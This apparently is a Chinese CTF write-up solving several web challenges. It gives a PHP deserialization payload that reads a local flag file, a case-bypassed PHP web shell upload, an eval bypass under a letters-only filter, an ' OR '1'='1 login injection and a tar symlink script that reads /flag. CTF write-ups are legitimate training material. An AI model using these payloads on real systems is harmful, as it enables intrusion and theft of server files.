ez_unserialize
审计附件,发现首页处显然存在反序列化漏洞:
php
$ss = substr($s, strlen("blueshark:"));
$o = @unserialize($ss); // ← 这里存在漏洞
然后注意到引用require_once "./classes.php",故可以通过该类来构造攻击代码。
在classes.php中很显然能看到明显问题:ShitMountant类在__destruct()时会调用fetch()方法,会使用file_get_contents($this->url)读取URL内容。那么我们可以构造伪协议来读取本地文件。据此,可以构造序列化字符串:
php
因此构造得出payload:
blueshark:O:12:"ShitMountant":2:{s:3:"url";s:12:"file:///flag";s:6:"logger";O:10:"FileLogger":2:{s:7:"logfile";s:16:"/tmp/notehub.log";s:7:"content";s:0:"";}}
而后发送POST请求,访问api.php即可得到flag:

Online_notice_board
检查CVE了解了主要攻击过程,注册用户时email填入普通字符串(如user3),头像上传php文件,并用大小写绕过:
php
<?pHp system($_GET["cmd"]); ?>
上传后访问储存位置/images/user3/12.php?cmd=cat%20/flag,得到flag:

ezrce
通过给出的源码可以看出,code的限制是:preg_match('/^[A-Za-z\(\)_;]+$/', $code)。
-
允许:大小写字母
A-Z,a-z、括号()、下划线_、分号;。 -
禁止:数字、引号(单双引号)、空格、
$(变量符号)、点.、逗号,、反引号等。
根据AI的说法,可以通过如下构造绕过:
php
code=eval(end(current(get_defined_vars())));&b=system('cat /flag');
原理解析:
-
get_defined_vars(): 返回一个包含所有已定义变量列表的多维数组(包括$_GET,$_POST,$_FILES,$_COOKIE等)。在大多数环境中,$_GET数组通常位于这个列表的前面。 -
current(...): 返回数组中的当前单元。通常get_defined_vars()返回的数组第一个元素就是$_GET数组。 -
end(...): 将数组的内部指针移动到最后一个单元并返回其值。我们通过 URL 传入了两个参数:code和b。此时$_GET数组大致是['code' => '...', 'b' => "system('cat /flag');"]。 -
end($_GET)就会取出最后一个参数的值,即system('cat /flag');。 -
eval(...): 最终执行取出的字符串。
flag到底在哪
用dirsearch扫描目录(或访问robots.txt),找到登录位置运算/admin/login.php,根据提示,用户名使用admin,密码尝试sql注入(注意逻辑符大写,太坑了)
' OR '1'='1
进入后直接上传一句话木马:
php
<?pHp system($_GET["cmd"]); ?>
在环境变量中发现flag:

flag?我就借走了
启动靶机,发现站点是一个tar解压站,再根据题目,联想到可以生成一个含有软链接的压缩包,使得解压缩时能够读取flag,故实现代码如下:
python
import tarfile
with tarfile.open("sy.tar", "w") as t:
info = tarfile.TarInfo("flag")
info.type = tarfile.SYMTYPE
info.linkname = "/flag"
t.addfile(info)
将生成的sy.tar上传,解压即可读取得到flag。
小蓝鲨的神秘文件
查询可知,ChsPinyinUDL.dat是微软拼音的输入历史,并找到了它的解析代码:


